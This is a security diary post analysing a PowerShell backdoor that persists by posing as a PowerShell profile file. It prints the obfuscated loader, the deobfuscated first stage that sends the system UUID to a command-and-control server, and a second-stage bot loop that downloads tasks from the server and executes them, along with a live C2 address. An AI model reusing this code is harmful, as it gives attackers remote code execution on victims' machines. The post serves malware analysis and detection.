Undetected PowerShell Backdoor Disguised as a Profile File

Published: 2023-06-09. Last Updated: 2023-06-09 08:05:43 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

PowerShell remains an excellent way to compromise computers. Many PowerShell scripts found in the wild are usually obfuscated. Most of the time, this helps to have the script detected by fewer antivirus vendors. Yesterday, I found a script that scored 0/59 on VT! Let’s have a look at it.

The file was found with the name « Microsoft.PowerShell_profile.ps1 ». The attacker nicely selected this name because this is a familiar name used by Microsoft to manage PowerShell profiles[1]. You may compare this to the « .bashrc » on Linux. It’s a way to customize your environment. Everything you launch a PowerShell, it will look for several locations, and if a file is found, it will execute it. Note that it’s also an excellent way to implement persistence because the malicious code will be re-executed every time a new PowerShell is launched. It’s listed as T1546.013[2] in the MITRE framework.

Let’s reverse the script (SHA256: a3d265a0ab00466aab978d0ccf94bb48808861b528603bddead6649eea7c0d16). When opened in a text editor, we can see that it is heavily obfuscated:

$mkey = "hxlksmxfcmspgnhf";
$srv = "AAwYG0lCV1daXV1BU0BbUUZKWF5JVUhWUw==";
$cmp = "CggGEgkeExAGCRwKCQ0aEQ==";

$bSDvRdgFlcnAwxj = @(24,'r','','IHwgb3V0LW51bGwKJHBzLkFkZEFyZ3V','',21,'d',([int](("94UmlEWn459UmlEWn686UmlEWn786UmlEWn10UmlEWn22UmlEWn633UmlEWn666UmlEWn701UmlEWn553" -split "UmlEWn")[5])),([int](("650Wmugo21Wmugo835Wmugo417Wmugo906Wmugo812Wmugo286Wmugo749Wmugo960Wmugo29" -split "Wmugo")[9])),([int](("419Gm370Gm388Gm238Gm2Gm902Gm197Gm582Gm305Gm133" -split "Gm")[4])),([string](("pTOikLyVWRMBZLkLyqgzIlWkLyLQOKkLyDjwiHkLyDQtofyikLyoKkLynbKDLukLyYBtQkLyTFkmtvQbI" -split "kLy")[6])),([string](("ulxwNSBGgYFDhZCbGgYFDhZLMQxkZGgYFDhZoafQGZyGgYFDhZwjysVfDOGgYFDhZcWPBAJfZRGgYFDhZHpzWCeiGgYFDhZSxpjbwIsGgYFDhZCFsGgYFDhZg" -split "GgYFDhZ")[([int](("9kdIhpwlnjWt689kdIhpwlnjWt878kdIhpwlnjWt775kdIhpwlnjWt965kdIhpwlnjWt828kdIhpwlnjWt529kdIhpwlnjWt957kdIhpwlnjWt917kdIhpwlnjWt224" -split "kdIhpwlnjWt")[0]))])),46,'tV','Ut',33,'VudFN0YXRlID0gIlNUQSIKJHJz',([int](("41rVCGBZ17rVCGBZ230rVCGBZ879rVCGBZ163rVCGBZ152rVCGBZ7rVCGBZ190rVCGBZ91rVCGBZ800" -split "rVCGBZ")[0])),27,([string](("vRUuwlkhDgkhjBTkhCYbTUGxkhskkhrefJkhmPESOhykhoWkhn.AmsikhmQkLRonvi" -split "kh")

Note the presence of the three variables at the top of the file.

The obfuscation technique is pretty good: Arrays of interesting strings are created but split using random strings. The last line of the script is very long passed to an Invoke-Expression. To speed up the analysis, you can replace the IEX with a simple echo to print the deobfuscated code:

[Scriptblock]$script = {
    param($mkey, $srv, $cmp)
    function ConvertFrom-JSON20([object] $item){
        ...
        return ,$ps_js.DeserializeObject($item);
    }

    function xor($data, $key){
        ...
        return $xordData
    }

    function Main{
        $enc = [System.Text.Encoding]::UTF8
        $srv = [System.Convert]::FromBase64String($srv)
        $srv = xor $srv $mkey
        $srv = $enc.getString($srv)
        $cmp = [System.Convert]::FromBase64String($cmp)
        $cmp = xor $cmp $mkey
        $cmp = $enc.getString($cmp)
        $enc = [System.Text.Encoding]::UTF8
        $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid;
        $xorkey = $enc.GetBytes($cmp)
        $data = xor $enc.GetBytes($UUID) $xorkey;
        $web = New-Object System.Net.WebClient;
        while($true){
            try{
                $res = $web.UploadData("$srv/$cmp", $data);break
            }catch{
                if($_.exception -match '(404)'){exit}
            }
            Start-Sleep -s 60;
        }
        $res = xor $res $cmp
        $res = $enc.GetString($res);
        $res = ConvertFrom-JSON20($res);
        $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($res.script));
        $script = [Scriptblock]::Create($script);
        Invoke-Command -ScriptBlock $script -ArgumentList $res.args;
     }
     Main
}

$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = "STA"
$rs.ThreadOptions = "ReuseThread"          
$rs.Open()
$rs.SessionStateProxy.SetVariable("h",$host)
$ps = [PowerShell]::Create()
$ps.Runspace = $rs
$ps.AddScript($script) | out-null
$ps.AddArgument($mkey) | out-null
$ps.AddArgument($srv) | out-null
$ps.AddArgument($cmp) | out-null
$res = $ps.BeginInvoke()

The script creates a script-block and executes a runspace[3]. The script will try to contact a C2 server and submit the system UUID, probably to create the "bot" on the C2 side. The C2 address is generated via the three passed parameters (on top of the script):

The C2 will return JSON data that will contain interesting data:

{
    "script": "...", 
    "args": [
        "http://190.14.37.245:8000", 
        "bpjyzskvedozncrw",
        "<RSAKeyValue>...<\/RSAKeyValue>",
        "<RSAKeyValue>...<\/RSAKeyValue>", 
        15
        ]
}

A second script is returned (Base64 encoded) with the same C2 address (I presume it could be another one and some encryption-related material. What's the purpose of "bpjyzskvedozncrw"? It's the campaign ID has it is described in the next-stage script:

param(
    [string]$server_url, 
    [string]$campaign_id, 
    [string]$RSAPanelPubKey, 
    [string]$RSABotPrivateKey, 
    [int]$polling_interval
)

function ConvertTo-JSON20 {
    ...
}

function ConvertFrom-JSON20([object] $item){
    ...
}

function Is-VM {
    ...
}

function Encrypt-Data{
    ...
}

function Decrypt-Data{
    ...
}

function Get-SystemInfo {
    ...
}

function Start-RunspaceDisposer($jobs){
    ...
}

function Add-Log{
    ...
}

function Run-Module{
    ...
}

function main{
    $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid;
    $mtx = New-Object System.Threading.Mutex($false, $uuid);
    $mtx.WaitOne()
    $jobs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList))
    Start-RunspaceDisposer $jobs
    $runningtasks = [hashtable]::Synchronized(@{})
    $logs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList))
    while($true){
        try{
            $web = New-Object Net.WebClient;
            $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});
            $data = @{UUID = $UUID; campaign_id = $campaign_id};
            $data = $data | ConvertTo-JSON20;
            $data = Encrypt-Data -data $data;
            $res = $web.UploadData("$server_url/$random_path", $data);
            if(!$res){
                $systeminfo = Get-SystemInfo;
                $data = @{UUID = $UUID; systeminfo = $systeminfo; campaign_id = $campaign_id};
                $data = $data | ConvertTo-JSON20;
                $data = Encrypt-Data -data $data;
                $web.UploadData("$server_url/$random_path", $data);
                Start-Sleep -s 3;
                continue;
            }
            $res = Decrypt-Data -data $res;
            $res = [System.Text.Encoding]::UTF8.GetString($res).Trim([char]0);
            $res = ConvertFrom-JSON20($res);
            $url_id = $res.url_id;
            while($true){
                $url = "$server_url/$url_id";
                $task = $web.DownloadData($url);
                $task = Decrypt-Data -data $task;
                $task = [System.Text.Encoding]::UTF8.GetString($task).Trim([char]0);
                $task = ConvertFrom-JSON20($task);

                if($task.task_id -and $task.scriptname){
                    $task_id = $task.task_id
                    $scriptname = $task.scriptname
                    try{
                        if(!($task.scriptname -eq 'hbr' -and $task.type -eq 'run')){
                            $task_report = @{UUID = $UUID; task_id = $task_id; status = 'running'};
                            $task_report = $task_report | ConvertTo-JSON20;
                            $task_report = Encrypt-Data -data $task_report;
                            $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});    
                            $web.UploadData("$server_url/$random_path", $task_report);
                        }
                    }catch{
                        #write-host $_.exception
                    }
                
                    if($task.type -eq 'run'){
                        $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.script));
                        $scriptblock = [Scriptblock]::Create($script);
                        if($task.background){
                            $runningtasks.$scriptname = @{'exit'=$false}
                            Run-Module $scriptblock $task.args $jobs $runningtasks $logs $task_id $scriptname
                        }

                        else{
                            Run-Module $scriptblock $task.args $jobs $null $logs $task_id $scriptname
                            if($scriptname -eq 'remove'){start-sleep -s 30; exit}
                        }
                    }
                    elseif($task.type -eq 'kill'){
                        if($runningtasks.ContainsKey($scriptname)){
                            $runningtasks.$scriptname.exit = $true
                            $runningtasks.remove($scriptname)    
                        }

                        try{
                            $task_report = @{UUID = $UUID; task_id = $task_id; status = 'completed'};
                            $task_report = $task_report | ConvertTo-JSON20;
                            $task_report = Encrypt-Data -data $task_report;
                            $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});    
                            $web.UploadData("$server_url/$random_path", $task_report);
                        }catch{
                            #write-host $_.exception
                        }
                    }
                }

                $logsToProcess = @()
                while($logs.count -gt 0){
                    $logsToProcess += $logs[0]
                    $logs.RemoveAt(0)
                }

                if($task.debug -and $logsToProcess.Count -gt 0){
                    try{
                        $data = @{'logs'=$logsToProcess; 'uuid'=$UUID}
                        $data = $data | ConvertTo-JSON20
                        $data = Encrypt-Data -data $data;
                        $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});
                        $web.UploadData("$server_url/$random_path", $data) | Out-Null;
                    }catch{
                        #write-host $_.exception
                    }
                }

                $url_id = $task.url_id;
                
                [System.GC]::Collect();
                Start-Sleep -s $task.polling_interval;
            }
        }
        catch{
            [System.GC]::Collect();
            Start-Sleep -s $polling_interval;
        }
        
    }
    $mtx.ReleaseMutex();
    $mtx.Dispose();
}

main

The script uses the same technique and runs its code inside another runspace. It enters an infinite loop, waiting for some commands from the C2 server:

While writing this diary, the C2 server (190.14.37.254) is still alive. I started a honeypot to capture all details from a potential attempt to use my system. I'm now waiting for some activity...

[1] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.3
[2] https://attack.mitre.org/techniques/T1546/013/
[3] https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)
ISC Stormcast For Friday, June 9th, 2023 https://isc.sans.edu/podcastdetail/8532

Comments


Diary Archives